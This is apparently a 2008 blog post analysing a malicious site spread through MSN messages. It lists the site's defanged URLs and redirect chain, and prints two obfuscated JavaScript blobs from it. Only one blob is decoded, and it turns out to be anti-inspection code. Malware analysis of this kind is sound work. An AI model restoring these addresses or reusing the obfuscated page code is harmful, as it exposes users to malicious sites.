MSN Spreaded Malicious Website

May 25, 2008

Hi,

WARNING!!!!!

This post contains Malware linked URLs so pay attention, don’t game with these links!!!

Idiots Proof End

Hi,

Today moring I’ve received a link from an MSN Contact of mine, she was offline.

Code:
hxxp://checkdiz.info

at first analysis with Malzilla it reveals three other links

Code:
hxxp://checkdiz.info/indexx.php
hxxp://www.cpashield.com/abuse.html

hxxp://checkdiz.info/counter.php

indexx.php has a level of indirection to

Code:
hxxp://fileho5t.info/indexxx.php

counter.php leads to

Code:
hxxp://www.ipcounter.de/stats.php?u=50076309

and finally the most intersting cpashield.com/abuse.html contains obfuscated javascript code

Code:
<!--
jL0="0ucoc\\MIM",yU90="Iu\{\{\{\%\%ovf0N";0.1261199,nB73="0.7082915",yU90='\|\:T2B\ m\
(8\?\$\*b\]AyX\"aOVt\.Y\-\_1qx\\\{\[l\niZI4\r3\=\!7uHv5JsCKPj\;QgR\+\`foM6w\/F\>\'rpN\<D9\^S\,
\@\#dcWU\}\%LE\&nG0\~ekzh\)',jL0='\"u\>tc\`S\ \]I\_\&\{gholKDf\#LdkCXU\~\/z97y\'m\,\\8B\=\rRG\
|\.iE\+n\n\%FJ\;1b\[saV\-36\)Aw\$O\(\!H2MNZ\*eqvPW4r\@T5\:Y\<Qx0\^pj\}\?';function lW4(uO49){"
0u\%N\{\{I\{\\",l=uO49.length;'0k\+IBI\r0c',w='';while(l--)"0ucooc\;\{\{",o=jL0.indexOf(uO49.
charAt(l)),'\~k\)0\~cc\+YX0c',w=(o==-1?uO49.charAt(l):yU90.charAt(o))+w;"0uoN0M\%\{\{",jL0=jL0.
substring(1)+jL0.charAt(0),document.write(w);'0kZ\r\)Z\r\r\|'};lW4("2nW\(m\!L\`yD\<b\|Db\^\rJDi
DnW\(m\!L\$\)l8t\r8\]\]U\;mV\ P\-W\|S\^\<LdDyy\?9V\|\<WLm\-\<\`XPS\ \?9\(\^L\|\(\<\`VDyn\^\@\;V
\|\<WLm\-\<\`XSPS\ \?9P\-W\|S\^\<Ld\-\<W\-\<L\^\/LS\^\<\|\rXPS\;n\^L\>mS\^\-\|L\ KXSPS\ \?Ke\]x
x\?\@\;XSPS\ \?\;\@P\-W\|S\^\<Ld\-\<W\-\<L\^\/LS\^\<\|\r\<\^\)\`w\|\<WLm\-\<\ K\(\^L\|\(\<\`VDy
n\^K\?\;V\|\<WLm\-\<\`X\<PS\ \^\?9mV\ P\-W\|S\^\<LdyDo\^\(n\"\"\)m\<P\-\)dnmP\^\{D\(\?9mV\ \^d\
)\}mW\}R\rU\?\(\^L\|\(\<\`VDyn\^\;\@\@\;mV\ P\-W\|S\^\<LdyDo\^\(n\?9P\-W\|S\^\<LdWD\!L\|\(\^\:i
\^\<Ln\ \:i\^\<Ld3fr\*\:Mf4H\?\;P\-W\|S\^\<Ld\-\<S\-\|n\^P\-\)\<\rX\<PS\;\@\^yn\^9P\-W\|S\^\<Ld
\-\<S\-\|n\^\|\!\rX\<PS\;\@\;S1Ux\rtEN\=\;\{fGE\r6EN8\;V\|\<WLm\-\<\`XP\)n\ \?9\)m\<P\-\)dnLDL\
|n\`\r\`K\`K\;n\^L\>mS\^\-\|L\ KXP\)n\ \?KeUxx\?\;\@\;XP\)n\ \?\;mM\]N\r6xtU\;m48E\r\=8E8\;V\|\
<WLm\-\<\`XPPn\ \?9mV\ P\-W\|S\^\<LdDyy\?9P\-W\|S\^\<Ld\-\<n\^y\^WLnLD\(L\rV\|\<WLm\-\<\`\ \?9\
(\^L\|\(\<\`VDyn\^\@\;n\^L\>mS\^\-\|L\ KXPPn\ \?KeGxx\?\@\@\;XPPn\ \?\;b\+E\r8ENG\;mHUG\rNG\=G\
;jltt\rtEN6\;yMGx\r\=G\=6\;p1tN\r8\]G\]\;jfN8\r\]\]\]x\;\~kx\rUG\=\]\;\;XymW\^\<n\^PXL\-X\rKF\^
L\^\(\`\nDyyK\;2AnW\(m\!L\$")//-->

Which decoded became

Code:
wX42=4881;
if(document.all){
function _dm(){return false};
function _mdm(){
document.oncontextmenu=_dm;
setTimeout("_mdm()",800)};
_mdm();
}
document.oncontextmenu=new Function("return false");
function _ndm(e){
if(document.layers||window.sidebar){if(e.which!=1)return false;
 }
};
if(document.layers){
document.captureEvents(Event.MOUSEDOWN);
document.onmousedown=_ndm;
 }
else {
document.onmouseup=_ndm;
};
mQ10=2593;bO75=6594;
function _dws(){
window.status = " ";
setTimeout("_dws()",100);
};
_dws();
iD89=6021;
iW45=3454;
function _dds(){if(document.all){
document.onselectstart=function (){return false};
setTimeout("_dds()",700)}};_dds();
gJ5=4597;
iN17=9737;
zX22=2596;
lD70=3736;
kQ29=4878;
zO94=8880;
qY0=1738;
;_licensed_to_="Peter Call";

there is also another piece of obfuscated code

Code:
<script language="javascript">lW4("MGN\#\%tCJYS\?d\ \'SJ\@\`\:8\%SDXwwr\r\%wwNtNSKit6\:S\~k0St
\!fQ\n\,d\,3Qf\'wwY2DSD\?ddH\>wwAAAkA\rk3\!\[wtswz\?d\ \'\~wNtNwz\?d\ \'\~Xd\!fQ\n\,d\,3Qf\'kWd
WDO\=m\=mMGXXS\%\!pfdpWS3QSoH\!Sc\+qSc00\|SI\>c0\>0cSJ6SXXO\=m\=mM\?d\ \'O\=mSSSM\?pfWO\=mSSSSS
SMd\,d\'pO\=mSSSSSSSSS\=mSSSSSSMwd\,d\'pO\=mSSSSSSM\ pdfSQf\ pRDxY2Ysot\#sDS43QdpQdRDo\!f4\?Q3H\
?\,\'\,fS\+k\rDwO\=mSSSSSSM\ pdfSQf\ pRD\$\#s6ottYsDS43QdpQdRDo\!f4\?Q3H\?\,\'\,fS\+k\rDwO\=mSS
SMw\?pfWO\=m\=mSSSMg3WlSg\[43\'3\!RDP\-\-\-\-\-\-DSdpzdRDP000000DS\'\,QjRDP0000\-\-DSE\'\,QjRDP
I000I0DSf\'\,QjRDP\-\-0000DO\=m\=mSM4pQdp\!OMgOJ\'pf\npS\!pH3\!dSfQlS\np\!E\,4pSE\,3\'fd\,3Q\nS
d3\>SMoS\?\!p\-RD\ f\,\'d3\>fg\.\npv4Hf\n\?\,p\'Wk43\ DOfg\.\npv4Hf\n\?\,p\'Wk43\ MwgOMwfOMw4pQ
dp\!O\=m\=mSSSMwg3WlO\=mMw\?d\ \'O\=m")

Pay attention, this kind of accessing system could lead to severe Privacy Compromisal, it acts as Spam and could work as Data Miner.

See you to the next post.. 🙂